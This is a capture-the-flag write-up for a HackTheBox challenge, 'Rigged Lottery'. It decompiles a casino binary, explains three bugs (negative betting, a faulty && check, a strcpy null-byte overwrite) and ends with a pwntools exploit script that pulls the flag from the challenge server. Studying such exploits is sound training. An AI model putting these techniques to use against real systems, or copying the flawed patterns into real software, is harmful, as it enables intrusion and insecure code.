Summary

Rigged Lottery was a medium rated challenge in the misc category, providing a binary as well as a remote server to connect to with netcat.

Recon

Running the binary locally provides us with a CLI game, giving four options:

💎 Cosy Casino 💎

Current cosy coins: 69.69

1. Generate lucky number.
2. Play game.
3. Claim prize.
4. Exit.
  • Generate lucky number tells us to choose a number between 1-32, before printing "Lucky number generated successfuly! Try your luck!".
  • Play game allows us to bet a number of coins, then printing "You lost! Try again!".
  • Claim prize prints "No prizes available!".
  • Exit closes the program.
    After playing around with this initially, there aren't any super obvious vulnerabilities (buffer overflows, etc)

Analysis

Opening the binary in ghidra lets us see the control flow of the program.
When launched, the program prints its welcome message and then makes a call to the generate() function, executing this section:

dev_urandom = open("/dev/urandom",0);
if (dev_urandom < 0) {
	fwrite("\nError opening /dev/urandom, exiting..\n",1,0x27,stderr);
	exit(0x22);
}
read(dev_urandom,lucky_number,0x21);
close(dev_urandom);

This uses /dev/urandom to write 33 bytes in to the lucky_number global variable.
After this, the menu() function is called in a loop - this handles the user input, executing a different function depending on which number is input.

generate()

This is the same function as the one used on boot, but follows a different logic flow when executed by the user:

printf("\nLength of number (1-32): ");
__isoc99_scanf(&stdin,&usr_length);
if ((usr_length < 0x22) && (-1 < usr_length)) {
	memset(lucky_num,0,(long)usr_length);
	dev_urandom = open("/dev/urandom",0);
	if (dev_urandom < 0) {
		fwrite("\nError opening /dev/urandom, exiting..\n",1,0x27,stderr);
		exit(0x69);
	}
	read(dev_urandom,lucky_num,(long)usr_length);
	while (i < usr_length) {
		while (lucky_num[i] == '\0') {
			read(dev_urandom,lucky_num + i,1);
		}
		i = i + 1;
	}
	strcpy(&lucky_number,lucky_num);
	close(dev_urandom);
	puts("\nLucky number generated successfuly! Try your luck!");
} else {
	puts("\nInvalid size!");
}

Line-by-line:

  • Gets user input for length of number
  • Checks the boundaries of number (spot the flaw?)
  • Uses memset to write null bytes to lucky_number, up to the length of usr_length
  • Opens /dev/urandom and writes random bytes in to lucky_number in two ways - first reading usr_length bytes all at once, then looping usr_length times and writing one byte at a time
  • Uses strcpy to copy the local lucky_num value to the global lucky_number variable

play()

This function contains the following code:

puts("\nHow many coins do you want to bet?");
__isoc99_scanf(&stdin,&user_bet);
cosy_coins = cosy_coins - user_bet;
check = coin_check((ulong)(uint)cosy_coins);
if (check != 0) {
	dev_urandom = open("/dev/urandom",0);
	if (dev_urandom < 0) {
		fwrite("\nError opening /dev/urandom, exiting..\n",1,0x27,stderr);
		exit(0x22);
	}
	read(dev_urandom,rigged_number,0x31);
	close(dev_urandom);
	check = strcmp(&lucky_number,rigged_number);
	if (check == 0) {
		puts("\nYou won! Claim your reward!");
		prize_flag = 1;
	}
	else {
		puts("\nYou lost! Try again!");
	}
}

Line-by-line:

  • Allows user to input how many coins they want to bet
  • Uses the coin_check function to check if the user's coins are at 0 or below, exits if so
  • If not, opens /dev/urandom and reads 49 bytes in to the rigged_number global variable
  • Uses strcmp to check if lucky_number and rigged_number are the same
  • If so, sets the prize_flag variable to 1
  • If not, does nothing and returns to the menu

claim()

This function contains the following code:

if ((prize_flag == 0) && (cosy_coins <= 100.00000000)) {
	puts("\nNo prizes available!");
	return;
}
puts("\nEnjoy your prize!!\n");
cosy_coins = cosy_coins + 269.00000000;
i = 0;
flag_fd = open("./flag.txt",0);
read(flag_fd,flag_content,0x21);
while (i < 0x21) {
	flag_content[i] = flag_content[i] ^ (&lucky_number)[i];
	i = i + 1;
}
close(flag_fd);
printf("%s",flag_content);

Line-by-line:

  • Checks if prize_flag is set to 0 and cosy_coins is below 100. If true, returns from the function
  • Otherwise, opens the flag.txt file and reads the content in to the flag_content variable
  • XORs each byte of the flag with each byte of the lucky_number
  • Prints the result

With these 3 main functions mapped, we can find the vulnerabilities:

Vulnerability 1: Negative coin betting

Vulnerable code in play():

__isoc99_scanf(&stdin,&user_bet);
cosy_coins = cosy_coins - user_bet;

Exploit:

This code doesn't make a check for the user entering negative numbers. This means if a negative number is entered and the user loses, they will actually gain the positive amount of the negative value they entered. This can be used to gain an arbitrary amount of coins:

Free money!

Vulnerability 2: Bad check logic

Vulnerable code in claim():

if ((prize_flag == 0) && (cosy_coins <= 100.00000000)) {
	puts("\nNo prizes available!");
	return;
}

Exploit:

This is faulty logic - the && should be an ||, as this code allows the flag to be printed if prize_flag is set OR cosy_coins is over 100 - so by getting over 100 coins using the last vulnerability, we can get past the prize_flag check and attempt to print the flag:

That flag doesn't look right..

While we can print the flag, we still have the issue of XORing with the lucky number, which we don't know. This is where vulnerability 3 comes in..

Vulnerability 3: strcpy() null byte overwrite

Vulnerable code in generate():

__isoc99_scanf(&stdin,&usr_length);

and

strcpy(&lucky_number,lucky_num);

Exploit:

strcpy can be dangerous in instances like this due to a product of C strings - they are a set of chars terminated by a null byte. While the string we are copying - lucky_num - is random, we can always predict the null byte at the end of it.
Why is this useful? Well, we also have control over the length of the string we're copying, and the destination is not cleared between copies - this is where the vulnerability lies. Watch what happens when we copy strings with decrementing lengths, assuming lucky_num byte values are random and lucky_number is random at initialisation:

Round 1
lucky_num chosen length: 10
lucky_num value:              0x3195f2a8f0125182674900
lucky_number (before strcpy): 0x921849192840f9a8b7aab9
lucky_number (after strcpy):  0x3195f2a8f0125182674900

Round 2
lucky_num chosen length: 9
lucky_num value:              0x9c01bba9f138af018f00
lucky_number (before strcpy): 0x3195f2a8f0125182674900
lucky_number (after strcpy):  0x9c01bba9f138af018f0000

Round 3
lucky_num chosen length: 8
lucky_num value:              0x128fba92f8a29fbc00
lucky_number (before strcpy): 0x9c01bba9f138af018f0000
lucky_number (after strcpy):  0x128fba92f8a29fbc000000

See what is happening? As the string gets shorter, the null bytes from previous strings don't get cleared, while the length of lucky_number stays the same - doing this enough times gives us:

Round 3
lucky_num chosen length: 0
lucky_num value:              0x00
lucky_number (before strcpy): 0xb100000000000000000000
lucky_number (after strcpy):  0x0000000000000000000000

(Did I mention the boundaries check on inputting a length is broken too? You can input a 0. Oops)

Now that the whole of lucky_number is null bytes, the XOR won't do anything, so the plain flag will be printed:

from pwn import *

p = remote("docker.hackthebox.eu", 32475)

progress = log.progress("Overwriting lucky_number")

for i in range(33,-1,-1):
    p.recvuntil("Exit.\n")
    p.sendline("1")
    p.sendline("{}".format(i))
    progress.status("Overwriting byte {}...".format(i))
progress.success("Key overwritten!")
p.recvuntil("Exit.\n")
p.sendline("2")
p.recvuntil("bet?\n")
p.sendline("-100")
log.info("Got money..")
p.recvuntil("Exit.\n")
p.sendline("3")
log.info("Grabbing flag..")
p.recvuntil("!!\n")
log.success(p.recvuntil("}").decode("utf-8").strip())